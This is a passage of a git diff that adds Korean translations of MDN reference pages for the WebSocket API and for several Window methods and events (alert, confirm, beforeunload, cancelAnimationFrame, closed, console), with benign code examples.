+ <dd>단일 프로토콜 문자열, 또는 프로토콜 문자열의 배열. 이 문자열들은 서브 프로토콜을 지정하는데 사용됩니다. 이를 통해 하나의 웹소켓 서버가 여러개의 웹 소켓 서브 프로토콜을 구현할 수 있도록 해줍니다. (예를 들어, 하나의 서버가 두 개 이상의 커뮤니케이션 방식을 가지고 싶도록 하고 싶을 때). 만약 지정하지 않으면 빈 문자열을 넣은 것으로 간주됩니다.</dd>
+</dl>
+
+<p>이 생성자는 예외가 발생할 수 있습니다:</p>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>The port to which the connection is being attempted is being blocked.</dd>
+</dl>
+
+<h2 id="메소드_오버뷰">메소드 오버뷰</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#close()">close</a>(in optional unsigned long code, in optional DOMString reason);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#send()">send</a>(in DOMString data);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="어트리뷰트">어트리뷰트</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Attribute</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>binaryType</code></td>
+   <td>{{DOMXref("DOMString")}}</td>
+   <td>A string indicating the type of binary data being transmitted by the connection. This should be either "blob" if DOM {{domxref("Blob")}} objects are being used or "arraybuffer" if {{jsxref("ArrayBuffer")}} objects are being used.</td>
+  </tr>
+  <tr>
+   <td><code>bufferedAmount</code></td>
+   <td><code>unsigned long</code></td>
+   <td>The number of bytes of data that have been queued using calls to {{manch("send")}} but not yet transmitted to the network. This value does not reset to zero when the connection is closed; if you keep calling {{manch("send")}}, this will continue to climb. <strong>Read only</strong></td>
+  </tr>
+  <tr>
+   <td><code>extensions</code></td>
+   <td>{{DOMXref("DOMString")}}</td>
+   <td>The extensions selected by the server. This is currently only the empty string or a list of extensions as negotiated by the connection.</td>
+  </tr>
+  <tr>
+   <td><code>onclose</code></td>
+   <td>{{domxref("EventListener")}}</td>
+   <td>WebSocket 인터페이스의 연결상태가 <code>readyState</code> 에서<code>CLOSED</code> 로 바뀌었을 때 호출되는 이벤트 리스너입니다. 이 이벤트 리스너는 "close"라는 이름의 <a href="/en-US/docs/Web/API/CloseEvent"><code>CloseEvent</code></a>를 받습니다.</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code></td>
+   <td>{{domxref("EventListener")}}</td>
+   <td>"error" 라는 이름의 이벤트가 발생하면 처리할 핸들러입니다. 이는 에러가 발생하는 상황에 호출됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>onmessage</code></td>
+   <td>{{domxref("EventListener")}}</td>
+   <td>"message" 이름의 <code><a href="/en-US/docs/Web/API/MessageEvent">MessageEvent</a> </code>이벤트가 발생하면 처리할 핸들러입니다. 이는 서버로부터 메세지가 도착했을 때 호출됩니다.</td>
+  </tr>
+  <tr>
+   <td><code>onopen</code></td>
+   <td>{{domxref("EventListener")}}</td>
+   <td>WebSocket 인터페이스의 연결상태가 <code>readyState</code> 에서 <code>OPEN</code>으로 바뀌었을 때 호출되는 이벤트 리스너입니다. ; 연결 상태가 <code>OPEN</code>으로 바뀌었다는 말은 데이터를 주고 받을 준비가 되었다는 뜻입니다. 이 리스너가 처리하는 이벤트는 "open"이라는 이벤트 하나입니다.</td>
+  </tr>
+  <tr>
+   <td><code>protocol</code></td>
+   <td>{{DOMXref("DOMString")}}</td>
+   <td>서버에 의해 선택된 서브 프로토콜을 가리킵니다; 이 값은 객체를 생성하면서 <code>protocols</code> 파라미터에 전달했던 값 들 중 하나입니다.</td>
+  </tr>
+  <tr>
+   <td><code>readyState</code></td>
+   <td><code>unsigned short</code></td>
+   <td>연결의 현재 상태입니다; 값은 {{anch("Ready state constants")}} 중에 하나입니다. <strong>읽기 전용.</strong></td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>{{DOMXref("DOMString")}}</td>
+   <td>생성자에 의해 해석된 URL입니다. 이는 항상 절대 주소를 가리킵니다. <strong>읽기 전용.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="상수">상수</h2>
+
+<h3 id="Ready_state_constants">Ready state constants</h3>
+
+<p>아래의 값들은 <code>readyState</code> 어트리뷰트가 웹소켓의 연결 상태를 나타내기 위해서 사용됩니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>CONNECTING</code></td>
+   <td><code>0</code></td>
+   <td>연결이 수립되지 않은 상태입니다.</td>
+  </tr>
+  <tr>
+   <td><code>OPEN</code></td>
+   <td><code>1</code></td>
+   <td>연결이 수립되어 데이터가 오고갈 수 있는 상태입니다.</td>
+  </tr>
+  <tr>
+   <td><code>CLOSING</code></td>
+   <td><code>2</code></td>
+   <td>연결이 닫히는 중 입니다.</td>
+  </tr>
+  <tr>
+   <td><code>CLOSED</code></td>
+   <td><code>3</code></td>
+   <td>연결이 종료되었거나, 연결에 실패한 경우입니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="메소드">메소드</h2>
+
+<h3 id="close()">close()</h3>
+
+<p>맺어진 연결, 또는 연결 시도를 종료합니다. 이미 종료된 경우에는 아무 동작도 하지 않습니다.</p>
+
+<pre class="syntaxbox">void close(
+  in optional unsigned short code,
+  in optional DOMString reason
+);
+</pre>
+
+<h4 id="Parameters">Parameters</h4>
+
+<dl>
+ <dt><code>code</code> {{optional_inline}}</dt>
+ <dd>연결이 종료되는 이유를 가리키는 숫자 값입니다. 지정되지 않을 경우 기본값은 1000으로 간주됩니다. (일반적인 경우의 "transaction complete" 종료를 나타내는 값).  허용되는 값들은 <code><a href="/en-US/docs/Web/API/CloseEvent">CloseEvent</a></code> 페이지의  <a href="/en-US/docs/Web/API/CloseEvent#Status_codes">list of status codes</a> 를 참고하세요.</dd>
+ <dt><code>reason</code> {{optional_inline}}</dt>
+ <dd>연결이 왜 종료되는지를 사람이 읽을 수 있도록 나타내는 문자열입니다. 이 문자열은 UTF-8 포멧이며, 123 바이트를 넘을 수 없습니다. (<strong>글자 수 아님</strong>).</dd>
+</dl>
+
+<h4 id="Exceptions_thrown">Exceptions thrown</h4>
+
+<dl>
+ <dt><code>INVALID_ACCESS_ERR</code></dt>
+ <dd>잘못된 <code>code</code> 값을 지정했습니다.</dd>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd><code>reason</code> 값이 너무 길거나, 짝을 이루지 못하는 서로게이트 문자가 있습니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> In Gecko, this method didn't support any parameters prior to Gecko 8.0 {{geckoRelease("8.0")}}.</p>
+</div>
+
+<h3 id="send()">send()</h3>
+
+<p>웹소켓 연결을 통해 데이터를 서버로 전송합니다.</p>
+
+<pre class="syntaxbox">void send(
+  in DOMString data
+);
+
+void send(
+  in ArrayBuffer data
+);
+
+void send(
+  in Blob data
+);
+</pre>
+
+<h4 id="Parameters_2">Parameters</h4>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>서버로 전송할 텍스트 메세지입니다.</dd>
+</dl>
+
+<h4 id="Exceptions_thrown_2">Exceptions thrown</h4>
+
+<dl>
+ <dt><code>INVALID_STATE_ERR</code></dt>
+ <dd>연결이 현재 <code>OPEN </code>상태가 아닙니다.</dd>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>data 값에 짝을 이루지 못하는 서로게이트 문자가 있습니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Gecko's implementation of the <code>send()</code> method differs somewhat from the specification in {{Gecko("6.0")}}; Gecko returns a <code>boolean</code> indicating whether or not the connection is still open (and, by extension, that the data was successfully queued or transmitted); this is corrected in {{Gecko("8.0")}}.</p>
+
+<p>As of {{Gecko("11.0")}}, support for {{jsxref("ArrayBuffer")}} is implemented but not {{domxref("Blob")}} data types.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Websockets", "#the-websocket-interface", "WebSocket")}}</td>
+   <td>{{Spec2("Websockets")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("api.WebSocket")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications">Writing WebSocket client applications</a></li>
+</ul>
diff --git a/files/ko/web/api/websocket/readystate/index.html b/files/ko/web/api/websocket/readystate/index.html
new file mode 100644
index 0000000000..c11bd76867
--- /dev/null
+++ b/files/ko/web/api/websocket/readystate/index.html
@@ -0,0 +1,71 @@
+---
+title: WebSocket.readyState
+slug: Web/API/WebSocket/readyState
+translation_of: Web/API/WebSocket/readyState
+---
+<p>{{APIRef("Web Sockets API")}}</p>
+
+<p><strong><code>WebSocket.readyState</code></strong> 읽기 전용 속성은 {{domxref("WebSocket")}} 연결의 현재 상태를 반환한다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var readyState = <em>aWebSocket</em>.readyState;</pre>
+
+<h2 id="Value">Value</h2>
+
+<p>아래의 <code>unsigned short</code> 값들 중 하나 :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Value</td>
+   <td class="header">State</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>CONNECTING</code></td>
+   <td>소켓이 생성되었다. 연결이 아직 열려 있지 않다.</td>
+  </tr>
+  <tr>
+   <td><code>1</code></td>
+   <td><code>OPEN</code></td>
+   <td>연결이 열려 있고, 통신할 준비가 되었다.</td>
+  </tr>
+  <tr>
+   <td><code>2</code></td>
+   <td><code>CLOSING</code></td>
+   <td>연결이 닫히는 중이다.</td>
+  </tr>
+  <tr>
+   <td><code>3</code></td>
+   <td><code>CLOSED</code></td>
+   <td>연결이 닫혔거나 열 수 없었다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-websocket-readystate', 'WebSocket: readyState')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.WebSocket.readyState")}}</p>
diff --git a/files/ko/web/api/websocket/websocket/index.html b/files/ko/web/api/websocket/websocket/index.html
new file mode 100644
index 0000000000..93951cf658
--- /dev/null
+++ b/files/ko/web/api/websocket/websocket/index.html
@@ -0,0 +1,51 @@
+---
+title: WebSocket()
+slug: Web/API/WebSocket/WebSocket
+translation_of: Web/API/WebSocket/WebSocket
+---
+<p>{{APIRef("Web Sockets API")}}</p>
+
+<p><code><strong>WebSocket()</strong></code> 생성자는 새로운 {{domxref("WebSocket")}} 객체를 반환한다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var ws = new WebSocket("ws://localhost:8080");</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>연결할 곳의 URL; 웹소켓 서버가 응답할 수 있는 URL 값을 지정해줘야 한다.</dd>
+ <dt><code>protocols</code> {{optional_inline}}</dt>
+ <dd>단일 혹은 여러개의 프로토콜 배열. 이 문자열들은 서브 프로토콜들을 가리킨다. 따라서 하나의 서버는 여러개의 서브 프로토콜을 구현할 수 있다. (예를 들면, 한 개의 서버에서 <code>protocol</code>에 따라 다양한 상호 작용 방식을 사용하기를 바랄 수 있다) . 만약 프로토콜을 지정해주지 않으면, 비어 있다고 간주한다.</dd>
+</dl>
+
+<h3 id="Exceptions_thrown">Exceptions thrown</h3>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>연결을 시도하는 포트가 닫혀 있을 때 발생한다.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-websocket', 'the WebSocket constructor')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.WebSocket.WebSocket")}}</p>
diff --git a/files/ko/web/api/window/alert/index.html b/files/ko/web/api/window/alert/index.html
new file mode 100644
index 0000000000..c6037986c3
--- /dev/null
+++ b/files/ko/web/api/window/alert/index.html
@@ -0,0 +1,71 @@
+---
+title: Window.alert()
+slug: Web/API/Window/alert
+tags:
+  - API
+  - HTML DOM
+  - Method
+  - Reference
+  - Window
+translation_of: Web/API/Window/alert
+---
+<p>{{APIRef}}</p>
+
+<p><strong><code>Window.alert()</code></strong> 메서드는 확인 버튼을 가지며 메시지를 지정할 수 있는 경고 대화 상자를 띄웁니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">window.alert([<em>message]</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>경고 대화 상자에 표시할 텍스트 문자열이거나, 문자열로 변환해 나타낼 객체.</dd>
+</dl>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">window<span class="punctuation token">.</span><span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">"Hello world!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">"Hello world!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code>
+</pre>
+
+<p>상기 두 코드의 동작은 모두 다음과 같습니다.</p>
+
+<p><img alt="Image:AlertHelloWorld.png" src="/files/130/AlertHelloWorld.png"></p>
+
+<h2 id="참고">참고</h2>
+
+<p>경고 대화 상자는 사용자의 확인을 제외한 다른 입력을 요구하지 않는 메시지를 전달할 때에 쓰여야 합니다.</p>
+
+<p>대화 상자는 모달 창(부모 창으로 돌아가기 전에 사용자의 상호 작용을 요구하는 자식 창)으로, 사용자는 대화 상자가 닫힐 때까지 다른 모든 인터페이스에 접근할 수 없습니다. 따라서 대화 상자(또는 모달 창)를 만드는 함수를 남용하면 안 됩니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 Web application', '#dom-alert', 'alert()')}}</td>
+   <td>{{Spec2('HTML5 Web application')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.alert")}}</p>
+
+<h2 id="관련_문서">관련 문서</h2>
+
+<ul>
+ <li>{{domxref("window.confirm","confirm")}}</li>
+ <li>{{domxref("window.prompt","prompt")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/beforeunload_event/index.html b/files/ko/web/api/window/beforeunload_event/index.html
new file mode 100644
index 0000000000..216b85ed7a
--- /dev/null
+++ b/files/ko/web/api/window/beforeunload_event/index.html
@@ -0,0 +1,105 @@
+---
+title: 'Window: beforeunload 이벤트'
+slug: Web/API/Window/beforeunload_event
+tags:
+  - Event
+  - Reference
+  - Window
+  - 이벤트
+translation_of: Web/API/Window/beforeunload_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary"><strong><code>beforeunload</code></strong> 이벤트는 문서와 그 리소스가 언로드 되기 직전에 {{domxref("window")}}에서 발생합니다.</span> 이벤트 발생 시점엔 문서를 아직 볼 수 있으며 이벤트도 취소 가능합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">확산</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">취소 가능</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">인터페이스</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">이벤트 처리기 속성</th>
+   <td>{{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>beforeunload</code> 이벤트를 사용하면 사용자가 페이지를 떠날 때 정말로 떠날 것인지 묻는 확인 대화 상자를 표시할 수 있습니다. 사용자가 확인을 누를 경우 브라우저는 새로운 페이지로 탐색하고, 취소할 경우 탐색을 취소하고 현재 페이지에 머무릅니다.</p>
+
+<p>명세에 따라, 확인 대화 상자를 표시하려면 이벤트의 {{domxref("Event.preventDefault()", "preventDefault()")}}를 호출해야 합니다.</p>
+
+<p>다만, 모든 브라우저가 위의 방법을 지원하는 것은 아니므로 아래의 두 가지 구형 방법을 사용해야 할 수도 있습니다.</p>
+
+<ul>
+ <li>이벤트의 <code>returnValue</code> 속성에 문자열 할당</li>
+ <li>이벤트 처리기에서 문자열 반환</li>
+</ul>
+
+<p>일부 브라우저에서는 확인 대화 상자의 문구를 직접 지정할 수 있었습니다. 그러나 현재 대부분의 브라우저에서는 사용자 지정 문구를 사용하지 않으며 이 동작을 지원하지 않습니다.</p>
+
+<p>원치 않는 팝업을 방지하기 위해, 브라우저는 사용자가 이벤트 발생 전에 현재 페이지와 상호작용을 했을 때만 대화 상자를 표시할 수도 있고, 심지어 아예 표시하지 않을 수도 있습니다.</p>
+
+<p><code>window</code> 또는 <code>document</code>에 <code>beforeunload</code> 이벤트 처리기를 부착하면 페이지가 브라우저의 메모리 내 탐색 캐시에 추가되는 것을 방지합니다.</p>
+
+<p>HTML 명세는 이벤트 처리 중의 {{domxref("window.alert()")}}, {{domxref("window.confirm()")}}, 및 {{domxref("window.prompt()")}} 메서드를 무시할 수 있음을 요구합니다. <a href="https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#user-prompts">HTML 명세</a>에서 더 자세한 정보를 확인하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>HTML 명세에 따르면 개발 시 {{domxref("Event.returnValue")}} 대신 {{domxref("Event.preventDefault()")}} 메서드를 사용해야 합니다. 그러나 모든 브라우저가 이 방법을 지원하는 것은 아닙니다.</p>
+
+<pre class="brush: js notranslate">window.addEventListener('beforeunload', (event) =&gt; {
+  // 표준에 따라 기본 동작 방지
+  event.preventDefault();
+  // Chrome에서는 returnValue 설정이 필요함
+  event.returnValue = '';
+});
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.beforeunload_event")}}</p>
+
+<p>{{domxref("WindowEventHandlers.onbeforeunload")}}에서 각각의 브라우저가 beforeunload를 어떻게 처리하는지 자세히 알아보세요.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>관련 이벤트: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/load_event", "load")}}, {{domxref("Window/unload_event", "unload")}}</li>
+ <li><a href="https://html.spec.whatwg.org/#prompt-to-unload-a-document">Unloading Documents — Prompt to unload a document</a></li>
+ <li><a href="https://developers.google.com/web/updates/2016/04/chrome-51-deprecations?hl=en#remove_custom_messages_in_onbeforeunload_dialogs">Remove Custom Messages in onbeforeload Dialogs after Chrome 51</a></li>
+</ul>
diff --git a/files/ko/web/api/window/cancelanimationframe/index.html b/files/ko/web/api/window/cancelanimationframe/index.html
new file mode 100644
index 0000000000..51c506a7e3
--- /dev/null
+++ b/files/ko/web/api/window/cancelanimationframe/index.html
@@ -0,0 +1,72 @@
+---
+title: window.cancelAnimationFrame()
+slug: Web/API/Window/cancelAnimationFrame
+tags:
+  - API
+  - DOM
+  - 레퍼런스
+  - 메소드
+  - 실험적
+  - 애니메이션
+  - 윈도우
+translation_of: Web/API/Window/cancelAnimationFrame
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>window.cancelAnimationFrame()</strong></code> 메소드는 이전에 {{domxref("window.requestAnimationFrame()")}} 을 호출하여 스케줄된 애니메이션 프레임 요청을 취소합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">window.cancelAnimationFrame(<em>requestID</em>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>requestID</code></dt>
+ <dd>요청된 콜백 {{domxref("window.requestAnimationFrame()")}} 을 호출하여 반환된 ID 값.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
+                            window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+
+var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame;
+
+var start = window.mozAnimationStartTime;  // Firefox 에서만 지원됨. 다른 브라우저에서는 Date.now() 같은 것을 사용할 수 있음.
+
+var myReq;
+
+function step(timestamp) {
+  var progress = timestamp - start;
+  d.style.left = Math.min(progress / 10, 200) + 'px';
+  if (progress &lt; 2000) {
+    myReq = requestAnimationFrame(step);
+  }
+}
+myReq = requestAnimationFrame(step);
+
+cancelAnimationFrame(myReq);
+</pre>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.cancelAnimationFrame")}}</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<ul>
+ <li>{{spec("https://www.w3.org/TR/html51/webappapis.html#animation-frames", "Timing control for script-based animations: cancelAnimationFrame", "WD")}}</li>
+</ul>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("window.mozAnimationStartTime")}}</li>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/closed/index.html b/files/ko/web/api/window/closed/index.html
new file mode 100644
index 0000000000..4c077bda92
--- /dev/null
+++ b/files/ko/web/api/window/closed/index.html
@@ -0,0 +1,70 @@
+---
+title: Window.closed
+slug: Web/API/Window/closed
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/closed
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>Window.closed</strong></code> 읽기 전용 속성은 참조한 창이 닫혔는지 여부를 나타냅니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">const <em>isClosed</em> = <em>windowRef</em>.closed;</pre>
+
+<h3 id="값">값</h3>
+
+<p>창이 닫혔으면 <code>true</code>, 그렇지 않으면 <code>false</code>.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="팝업에서_자신을_띄운_창의_URL_바꾸기">팝업에서 자신을 띄운 창의 URL 바꾸기</h3>
+
+<p>다음 예제는 팝업 창에서 자신을 띄운 창의 {{glossary("URL")}}을 바꾸는 예제입니다. URL을 바꾸기 전, 현재 창을 띄운 창의 존재 유무를 {{domxref("window.opener")}} 속성으로 검사하고, <code>closed</code> 속성으로 이미 닫히지는 않았는지도 검사합니다.</p>
+
+<pre class="brush:js notranslate">// Check that an opener exists and is not closed
+if (window.opener &amp;&amp; !window.opener.closed) {
+  window.opener.location.href = 'http://www.mozilla.org';
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 팝업은 자신을 띄운 창에만 접근할 수 있습니다.</p>
+</div>
+
+<h3 id="이전에_열었던_팝업_새로고침">이전에 열었던 팝업 새로고침</h3>
+
+<p>이번 예제의 <code>refreshPopupWindow()</code>는 팝업의 {{domxref("Location.reload", "reload()")}} 메서드를 호출해 데이터를 다시 불러옵니다. 만약 팝업을 아직 열지 않았거나, 사용자가 이미 닫은 경우 새로운 팝업을 띄웁니다.</p>
+
+<pre class="brush: js notranslate">const popupWindow = null;
+
+function refreshPopupWindow() {
+  if (popupWindow &amp;&amp; !popupWindow.closed) {
+    // popupWindow is open, refresh it
+    popupWindow.location.reload(true);
+  } else {
+    // Open a new popup window
+    popupWindow = window.open('popup.html', 'dataWindow');
+  }
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-window-closed', 'window.closed')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/window/confirm/index.html b/files/ko/web/api/window/confirm/index.html
new file mode 100644
index 0000000000..f2895337bd
--- /dev/null
+++ b/files/ko/web/api/window/confirm/index.html
@@ -0,0 +1,76 @@
+---
+title: Window.confirm()
+slug: Web/API/Window/confirm
+tags:
+  - API
+  - HTML DOM
+  - Method
+  - Reference
+  - Window
+translation_of: Web/API/Window/confirm
+---
+<div>{{ApiRef("Window")}}</div>
+
+<p><code><strong>Window.confirm()</strong></code> 메서드는 확인과 취소 두 버튼을 가지며 메시지를 지정할 수 있는 모달 대화 상자를 띄웁니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><em>result</em> = window.confirm(<em>message</em>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>경고 대화 상자에 표시할 텍스트 문자열.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>확인 (<code>true</code>) 또는 취소 (<code>false</code>) 중 사용자가 선택한 값. 브라우저가 페이지 내 대화 상자를 무시하고 있으면 항상 <code>false</code>입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js notranslate">if (window.confirm("Do you really want to leave?")) {
+  window.open("exit.html", "Thanks for Visiting!");
+}
+</pre>
+
+<p>위 코드는 다음 결과를 보입니다.</p>
+
+<p><img alt="firefox confirm" src="https://mdn.mozillademos.org/files/7163/firefoxcomfirmdialog_zpsf00ec381.png" style="height: 119px; width: 354px;"><br>
+  </p>
+
+<h2 id="참고">참고</h2>
+
+<p>대화 상자는 모달 창(부모 창으로 돌아가기 전에 사용자의 상호 작용을 요구하는 자식 창)으로, 사용자는 대화 상자가 닫힐 때까지 다른 모든 인터페이스에 접근할 수 없습니다. 따라서 대화 상자(또는 모달 창)를 만드는 함수를 남용하면 안 됩니다. 이 뿐만이 아니더라도, <a href="https://alistapart.com/article/neveruseawarning/">대화 상자로 사용자 확인을 받는 것은 피해야</a> 할 좋은 이유 여럿이 존재합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-confirm', 'confirm()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Window.confirm")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.alert()")}}</li>
+ <li>{{domxref("window.prompt()")}}</li>
+</ul>
diff --git a/files/ko/web/api/window/console/index.html b/files/ko/web/api/window/console/index.html
new file mode 100644
index 0000000000..baed7caeeb
--- /dev/null
+++ b/files/ko/web/api/window/console/index.html
@@ -0,0 +1,53 @@
+---
+title: Window.console
+slug: Web/API/Window/console
+tags:
+  - API
+  - Property
+  - Read-only
+  - Reference
+  - Window
+  - console
+translation_of: Web/API/Window/console
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>Window.console</code></strong> 속성은 브라우저 콘솔에 로그를 남길 수 있는 메서드를 가진 {{domxref("Console")}} 객체의 참조를 반환합니다. 콘솔 메서드는 디버깅 용도로만 사용해야 하며, 엔드유저에게 정보를 제공할 의도를 가져션 안됩니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="콘솔에_로그_남기기">콘솔에 로그 남기기</h3>
+
+<p>다음 코드는 콘솔에 로그 텍스트를 남깁니다.</p>
+
+<pre class="brush: js">console.log("An error occurred while loading the content");
+</pre>
+
+<p>다음 코드는 객체를 콘솔에 출력합니다. 출력 결과를 클릭하면 객체의 필드를 펼쳐볼 수 있습니다.</p>
+
+<pre class="brush: js">console.dir(someObject);</pre>
+
